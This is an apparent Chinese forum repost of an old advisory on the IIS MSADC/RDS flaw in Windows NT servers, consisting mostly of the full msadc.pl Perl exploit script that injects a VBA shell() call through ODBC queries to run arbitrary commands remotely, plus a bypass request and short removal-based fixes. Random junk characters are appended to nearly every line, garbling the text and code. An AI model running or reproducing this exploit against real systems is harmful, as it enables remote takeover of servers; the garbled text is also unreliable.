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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) -z%| Jk  
Wt2+D{@8  
涉及程序: "]|I;I"b  
Microsoft NT server 6X{RcX]/  
GrWzgO  
描述: FL -yt  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 0mj^Tms  
ye Q6\yi  
详细: i6F`KF'i&  
如果你没有时间读详细内容的话,就删除: ?rqU&my S  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bN-ljw0&  
有关的安全问题就没有了。 S`ms[^-q*  
&y-(UOqbkP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Q)oO*CnM!-  
tm27J8wPzV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 67zCil  
关于利用ODBC远程漏洞的描述,请参看: !Oj]. WQ  
F.:B_t  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {L 7O{:J  
qF!oP  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 kqJ \kd  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp kae &,'@JF  
{MK.jw9/  
这里不再论述。 4f+R}Ee7  
G?\\k[#,&  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: u*/.   
B16,c9[  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5[\mwUA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6`$HBX%.K  
0&!,+  
__Ei;%cV  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  #P8R  
sYlA{Z"  
#!perl fN4d^0&  
# 9\F:<Bf$#  
# MSADC/RDS 'usage' (aka exploit) script *^cJn*QeL  
# bnS"@^M  
# by rain.forest.puppy e)I-|Q4^%  
# $J8?!Xg  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me fz H$`X'M  
# beta test and find errors! IyvJwrO  
f=%k9Y*)  
use Socket; use Getopt::Std; <1~5l ~  
getopts("e:vd:h:XR", \%args); ]+RBykr  
.32]$vx  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Nrp0z:  
RLkP)+t  
if (!defined $args{h} && !defined $args{R}) { +m Plid\  
print qq~ md8r"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %hcn|-" F  
-h <host> = host you want to scan (ip or domain) oZ% rzLH  
-d <seconds> = delay between calls, default 1 second biZwxP3  
-X = dump Index Server path table, if available uh`W} n  
-v = verbose cfn\De%.  
-e = external dictionary file for step 5 rv/O^aL`Y  
KrwG><+j  
Or a -R will resume a command session ;[ UGEi  
/(#;(]  
~; exit;} Un{hI`3]  
yEm[C(gZ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^_dYE]t  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} d;GF<bz  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} =b+W*vUAw  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); HFV4S]U=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~@8r-[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o' U::  
JWHKa=-H  
if (!defined $args{R}){ $ret = &has_msadc; b65V*Vbj  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NE Br) ~  
ROZOX$XM  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" t;ZA}>/  
. "cmd /c "; aYIAy]*1e  
$in=<STDIN>; chomp $in; SM3Q29XIw  
$command="cmd /c " . $in ; {<f_,Nlc  
S%ULGX:@ga  
if (defined $args{R}) {&load; exit;} U j5%06  
:{za[,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; N5$IVz}  
&try_btcustmr; .qBL.b_`  
E .2b@  
print "\nStep 2: Trying to make our own DSN..."; /:-8 ,`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 7s#,.(s  
 WW5AD$P*  
print "\nStep 3: Trying known DSNs..."; * !4r}h`  
&known_dsn; ? OrRTRW  
<3aiS?i.h  
print "\nStep 4: Trying known .mdbs..."; f=0U&~  
&known_mdb; H^UuT  
bB01aiUw@l  
if (defined $args{e}){ eJWcrVpn  
print "\nStep 5: Trying dictionary of DSN names..."; /b3b0VfF  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \^7D% a=;C  
Gn}G$uk61  
print "Sorry Charley...maybe next time?\n"; <pAN{:  
exit; y7[D9ZvZ  
!/pE6)a  
############################################################################## t?& a?6:J  
1=fP68n  
sub sendraw { # ripped and modded from whisker W( O)J$j  
sleep($delay); # it's a DoS on the server! At least on mine... M<'AM4  
my ($pstr)=@_; yb)!jLnH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {.vU;  
die("Socket problems\n"); 3@'3U?Hin  
if(connect(S,pack "SnA4x8",2,80,$target)){ }u"iA^'Ot  
select(S); $|=1; <[7 bUB  
print $pstr; my @in=<S>; SJ/($3GkBd  
select(STDOUT); close(S); v;=F $3  
return @in; 6y;R1z b  
} else { die("Can't connect...\n"); }} bUR; d78  
$LxfdSa  
############################################################################## ;MD6iBD  
{(o$? =  
sub make_header { # make the HTTP request QFn .<@  
my $msadc=<<EOT FT0HU<." 1  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 R*m=V{iu`  
User-Agent: ACTIVEDATA h_O6Z2J1  
Host: $ip {<\[gm\X  
Content-Length: $clen -)S(eqq1  
Connection: Keep-Alive g=8}G$su{%  
)?@X{AN&  
ADCClientVersion:01.06 /5@4}m>Z@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :Taequk  
6 w"-&  
--!ADM!ROX!YOUR!WORLD! +4<Ij/}p  
Content-Type: application/x-varg H}TzNs  
Content-Length: $reqlen a>1_|QB.  
XJ\ j0  
EOT xj/Iq<'R*O  
; $msadc=~s/\n/\r\n/g; B]):$#{Rxl  
return $msadc;} 7WuhYJbf  
HvhP9_MB  
############################################################################## <+0TN]?  
~Q  q0  
sub make_req { # make the RDS request K0681_bp  
my ($switch, $p1, $p2)=@_; K,pQ11J  
my $req=""; my $t1, $t2, $query, $dsn; Q?e]N I^  
N{6 - rR  
if ($switch==1){ # this is the btcustmr.mdb query $:v!*0/  
$query="Select * from Customers where City=" . make_shell(); (<|NerwD  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . u$A*Vsmr  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} |&O7F;/_  
z: x|;Ps!  
elsif ($switch==2){ # this is general make table query -Re4G78%  
$query="create table AZZ (B int, C varchar(10))"; s@Q, wa(  
$dsn="$p1";} _FG?zE  
^Q)&lxlxpx  
elsif ($switch==3){ # this is general exploit table query ryk(Am<  
$query="select * from AZZ where C=" . make_shell(); .i^aYbB$X  
$dsn="$p1";} 6xLLIby,  
'"# W!p  
elsif ($switch==4){ # attempt to hork file info from index server zUw=e}?:  
$query="select path from scope()"; e MX?x7  
$dsn="Provider=MSIDXS;";} "oZ$/ap\  
/wF*@/PTH  
elsif ($switch==5){ # bad query )U>JFgpIW  
$query="select"; Uc j eB  
$dsn="$p1";} l]pHj4`uv  
_z`g@[m:t  
$t1= make_unicode($query); J Iw=Bs  
$t2= make_unicode($dsn); ,U-aZ  
$req = "\x02\x00\x03\x00"; ;cye 'E  
$req.= "\x08\x00" . pack ("S1", length($t1)); v61'fQ1Qg!  
$req.= "\x00\x00" . $t1 ; q6xm#Fd'.  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3_AVJv ;N  
$req.= "\x00\x00" . $t2 ; d&z^u.SY  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; DOk(5gR  
return $req;} _]g?3Gw7!  
]KsL(4PY  
############################################################################## }]i re2j8  
Sdk:-Zuv  
sub make_shell { # this makes the shell() statement 3&'u7e  
return "'|shell(\"$command\")|'";} +\@) 1  
m[k@\xS4e  
############################################################################## =wd=TX/  
$)V_oQSqn  
sub make_unicode { # quick little function to convert to unicode ,qo"i7c{:  
my ($in)=@_; my $out; Wmm'j&hI  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w=ZSyT-i  
return $out;} Q db~I#}m'  
GS!7HphR  
############################################################################## ;rD M%S@  
Rds_Cd C  
sub rdo_success { # checks for RDO return success (this is kludge) 8IX:XDEQ  
my (@in) = @_; my $base=content_start(@in); ncF|wz  
if($in[$base]=~/multipart\/mixed/){ ^e<"`e  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Pz=x$aY  
return 0;} U$-;^=;  
yA74Rxl*6  
############################################################################## 9GH11B_A  
-F7GUB6B  
sub make_dsn { # this makes a DSN for us @Ido6Z7  
my @drives=("c","d","e","f"); BqF%2{  
print "\nMaking DSN: "; BtPUUy.  
foreach $drive (@drives) { 7q%<JZPY  
print "$drive: "; !uoQLiH+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . >EMsBX  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .V4w+:i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XN*?<s3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 9:JFG{M  
return 0 if $2 eq "404"; # not found/doesn't exist S 54N  
if($2 eq "200") { 2;82*0Y%  
foreach $line (@results) { yu<'-)T.?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} I04GQql  
} return 0;} 4| 6<nk_  
}D/O cp~o  
############################################################################## l6YToYzE2  
Lc0 U-!{G  
sub verify_exists { K`BNSdEN>  
my ($page)=@_; ?u*gKI  
my @results=sendraw("GET $page HTTP/1.0\n\n"); lphELPh  
return $results[0];} E[z8;A^:0  
dBB;dN  
############################################################################## <c,/+ lQ^  
3!+N} [$iy  
sub try_btcustmr { @[:JQ'R=  
my @drives=("c","d","e","f"); ` |L l  
my @dirs=("winnt","winnt35","winnt351","win","windows"); igoUKDNiQ-  
c*5y8k  
foreach $dir (@dirs) { =LFrV9  
print "$dir -> "; # fun status so you can see progress X2 Z E9b  
foreach $drive (@drives) { j.'Rm%@u  
print "$drive: "; # ditto C4#EN}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; jK!Y-  
$reqlenlen=length( "$reqlen" ); fs43\m4= m  
$clen= 206 + $reqlenlen + $reqlen; &8l4A=l$  
zoj3w|G  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |L@9qwF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &_DRrp0CN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X5(S+;v"^  
Tb2Tb2C  
############################################################################## \Mujx3Fmvx  
K2W$I H:.  
sub odbc_error { %LL*V|  
my (@in)=@_; my $base; fnZaIV=H  
my $base = content_start(@in); !Q`vOVSUD  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this rvdhfM!-A  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H-*"%SJ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YivWvV  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c]pO'6]  
return $in[$base+4].$in[$base+5].$in[$base+6];} )2U#<v^  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1j_x51p  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ;+) M~2 =  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 97$1na3gq  
# j=r  
############################################################################## 6Y#V;/gK!5  
oic}Go  
sub verbose { @.4e^Km  
my ($in)=@_; a ]PS`  
return if !$verbose; X j'7nj  
print STDOUT "\n$in\n";} -nC 5  
[vIHYp  
############################################################################## Ly0U')D:  
jh3LD6|s}  
sub save { |_Y[93 1<  
my ($p1, $p2, $p3, $p4)=@_; rA*"22v=  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 7R$]BY=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; WHV]H  
close OUT;} _ ]W }6?i  
nUAs:Q  
############################################################################## *mqoyOa  
(z[|\6O  
sub load { +sTZ) 5vQ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (HHVup1f  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8Nr,Wq  
@p=<IN>; close(IN); .K`^n\T t  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); AT#&`Ew  
$target= inet_aton($ip) || die("inet_aton problems"); qR W WG&  
print "Resuming to $ip ..."; $X.X_  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 4eSV( u)4  
if($p[1]==1) { &{s`=IeN  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; eBD7g-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5"f')MKUV9  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9d7$Fz#  
if (rdo_success(@results)){print "Success!\n";} \78w1Rkl  
else { print "failed\n"; verbose(odbc_error(@results));}} 5WR(jl+M  
elsif ($p[1]==3){ ^9})@,(D  
if(run_query("$p[3]")){ WQ\H 2go  
print "Success!\n";} else { print "failed\n"; }} ZMSP8(V  
elsif ($p[1]==4){ 2:(h17So  
if(run_query($drvst . "$p[3]")){ =YPvh]][  
print "Success!\n"; } else { print "failed\n"; }} ~W q[H  
exit;} |%F[.9Dp  
|[k/%  
############################################################################## 0Ywqv)gg  
$-dz1}  
sub create_table { ^cYm.EHI  
my ($in)=@_; #,dE)  
$reqlen=length( make_req(2,$in,"") ) - 28; c\.8hd=<  
$reqlenlen=length( "$reqlen" ); <y+8\m  
$clen= 206 + $reqlenlen + $reqlen; 6Xjr0 C+  
my @results=sendraw(make_header() . make_req(2,$in,"")); 5feCA ,v7  
return 1 if rdo_success(@results); 7o$4ov;T  
my $temp= odbc_error(@results); verbose($temp); r)jj]$0  
return 1 if $temp=~/Table 'AZZ' already exists/; ;cBFft}D  
return 0;} qMAH~P0u  
*KP 60T  
############################################################################## ;>o}/h  
\JBJ$lBL  
sub known_dsn { ER:)Fk>_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ~F`t[p  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", M[ea!an  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ]KMOLe6(  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W&[}-E8<Y  
gt5  
foreach $dSn (@dsns) { }e/P|7&  
print "."; e2~i@vq  
next if (!is_access("DSN=$dSn")); YadY?o./  
if(create_table("DSN=$dSn")){ \2!v~&S  
print "$dSn successful\n"; 7Zl- |  
if(run_query("DSN=$dSn")){ hB#z8D  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z6<vLc  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {0fQ"))"  
n/_cJD \  
############################################################################## u 89u#gCAC  
Xp]tL3-p  
sub is_access { CqVh9M.ah  
my ($in)=@_; T,h,)|:I^  
$reqlen=length( make_req(5,$in,"") ) - 28; P7n+@ L$  
$reqlenlen=length( "$reqlen" ); |qS<{WZ!h  
$clen= 206 + $reqlenlen + $reqlen; y%CaaK=V3  
my @results=sendraw(make_header() . make_req(5,$in,"")); * pN,@ZV$  
my $temp= odbc_error(@results); RltG/ZI  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); XDvT#(Pu  
return 0;} C[$uf  
)1H$5h  
############################################################################## kI974:e42  
YX+Da"\  
sub run_query { /8baJ+D"4\  
my ($in)=@_; S8+Xk= x  
$reqlen=length( make_req(3,$in,"") ) - 28;  }SHF  
$reqlenlen=length( "$reqlen" ); ET4 C/nb  
$clen= 206 + $reqlenlen + $reqlen; a_5`9BL  
my @results=sendraw(make_header() . make_req(3,$in,"")); XJ;kyEx3=O  
return 1 if rdo_success(@results); euHX7  
my $temp= odbc_error(@results); verbose($temp); }}v04~  
return 0;} OiAi{ 71  
p1p4t40<l  
############################################################################## ;ti{ #(Ux  
WY%LeC!t  
sub known_mdb { .$>?2|gRv  
my @drives=("c","d","e","f","g"); gP*:>[lR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2RD os#  
my $dir, $drive, $mdb; IAbK]kA  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #`5 M( o  
!7SZZz  
# this is sparse, because I don't know of many >a98 H4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", SE+K"faKQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", : 0Nd4hA  
"\\system32\\certmdb.mdb", \M/XM6:UG4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {\G4YQ  
0(VQwGC[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *7hr3x  
"\\cfusion\\cfapps\\forums\\forums_.mdb", UA3%I8gu_  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", DoA4#+RU  
"\\cfusion\\cfapps\\security\\realm_.mdb", vs|>U-Mpw~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", @RKw1$BA  
"\\cfusion\\database\\cfexamples.mdb", H".~@,-}  
"\\cfusion\\database\\cfsnippets.mdb", e!}R1  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <{.o+~k  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;p%a!Im_ <  
"\\cfusion\\brighttiger\\database\\cleam.mdb", }et^'BkA(  
"\\cfusion\\database\\smpolicy.mdb", 'sI=*c  
"\\cfusion\\database\cypress.mdb", d [z+/L  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", T"-HBwl  
"\\website\\cgi-win\\dbsample.mdb", @W|}|V5  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xKz^J SF  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ;pdW7  
); #these are just emb~l{K$  
foreach $drive (@drives) { 2E/#fX9!4  
foreach $dir (@dirs){ CqDMq!  
foreach $mdb (@sysmdbs) { HPs$R [  
print "."; ['m@RJm+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Zk2-U"0\o  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; C( C4R+U  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %(b`i C9  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; r7sPFM  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Nzz" w_#  
uj_u j!  
foreach $drive (@drives) {  L's_lC  
foreach $mdb (@mdbs) { C^RO@kM  
print "."; $(_Xt-6  
if(create_table($drv . $drive . $dir . $mdb)){ 2a2C z'G  
print "\n" . $drive . $dir . $mdb . " successful\n"; LjjE(Yrv{  
if(run_query($drv . $drive . $dir . $mdb)){ }Tn]cL{]C  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; )` S,vF~  
} else { print "Something's borked. Use verbose next time\n"; }}}} GOHRBV  
} JI5?, )-St  
 ' -[  
############################################################################## d;|Pp;dc  
(`gqLPx[  
sub hork_idx { ;ej;<7+  
print "\nAttempting to dump Index Server tables...\n"; rixNz@p'%  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~q#UH'=%  
$reqlen=length( make_req(4,"","") ) - 28; zLue j'  
$reqlenlen=length( "$reqlen" ); @Y*ONnl  
$clen= 206 + $reqlenlen + $reqlen; 9}t2OJS*h"  
my @results=sendraw2(make_header() . make_req(4,"","")); LOi5 ^Um|  
if (rdo_success(@results)){ pm O}m>  
my $max=@results; my $c; my %d; eu ~WFI  
for($c=19; $c<$max; $c++){ 3]0ETcT  
$results[$c]=~s/\x00//g; a9}cpfG=)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; EP7L5GZ-a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; F?e_$\M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <LQwH23@  
$d{"$1$2"}="";} R`Hyg4?  
foreach $c (keys %d){ print "$c\n"; } /r Zj=  
} else {print "Index server doesn't seem to be installed.\n"; }} "YHqls}c  
31k.{dnm  
############################################################################## C/ow{MxA  
9f;\fe  
sub dsn_dict { )Z0pU\  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  V3K  
while(<IN>){ Ab -uK|<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~j",ePl  
next if (!is_access("DSN=$dSn")); LnvC{#TFO  
if(create_table("DSN=$dSn")){ s$J0^8Q~i  
print "$dSn successful\n"; c3]ZU^  
if(run_query("DSN=$dSn")){ D_D<N(O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X'e@(I!0  
print "Something's borked. Use verbose next time\n";}}} 1Ah  
print "\n"; close(IN);} K[PIw}V$?:  
\MQ|(  
############################################################################## Rer\='  
UyBI;k^]  
sub sendraw2 { # ripped and modded from whisker W"YFx*W  
sleep($delay); # it's a DoS on the server! At least on mine... %O>ehIerD  
my ($pstr)=@_; #0"Fw$Pc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || XJDp%B  
die("Socket problems\n"); -?' r_t  
if(connect(S,pack "SnA4x8",2,80,$target)){ JadXdK=gE  
print "Connected. Getting data"; LHKawEZ  
open(OUT,">raw.out"); my @in; X*1vIs;[@  
select(S); $|=1; print $pstr; G%-[vk#]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Af1mTbf=  
close(OUT); select(STDOUT); close(S); return @in; 2#ND(  
} else { die("Can't connect...\n"); }} v/\l  
:CNWHF4$  
############################################################################## ]$!-%pNv  
{LVii}<  
sub content_start { # this will take in the server headers ,95Nj h  
my (@in)=@_; my $c; =K~<& l8  
for ($c=1;$c<500;$c++) { wqJ^tA!  
if($in[$c] =~/^\x0d\x0a/){ 3|-)]^1O  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } w0x, ~  
else { return $c+1; }}} _n@#Lufx  
return -1;} # it should never get here actually _C DUUr  
4!,x3H'  
############################################################################## _dVzvk`_R  
 Zm!T4pL  
sub funky { %fnL  
my (@in)=@_; my $error=odbc_error(@in); cU?A|'  
if($error=~/ADO could not find the specified provider/){ 7'z{FS S  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ,IF3VE&r  
exit;} g"c\ouSY  
if($error=~/A Handler is required/){ xX*I .saK  
print "\nServer has custom handler filters (they most likely are patched)\n"; $3zs?Fd`  
exit;} 9'faH  
if($error=~/specified Handler has denied Access/){ @v\Osp t=  
print "\nServer has custom handler filters (they most likely are patched)\n"; <xOXuve  
exit;}} ({i}EC7{  
QI'ule  
############################################################################## Vb az#I  
1[OCojo<  
sub has_msadc { w2_$>z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @ U xO!  
my $base=content_start(@results); [KMW *pA7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); *,q ?mO  
return 0;} Xd@  -  
<0g.<n,  
######################## FY+0r67]  
w4P?2-kB  
.w/w] Eq  
解决方案: Q^>"AhOiU  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 109dB$+$  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 'ol8lIa.P  
?_)b[-N!  
拿出来充数 哈哈
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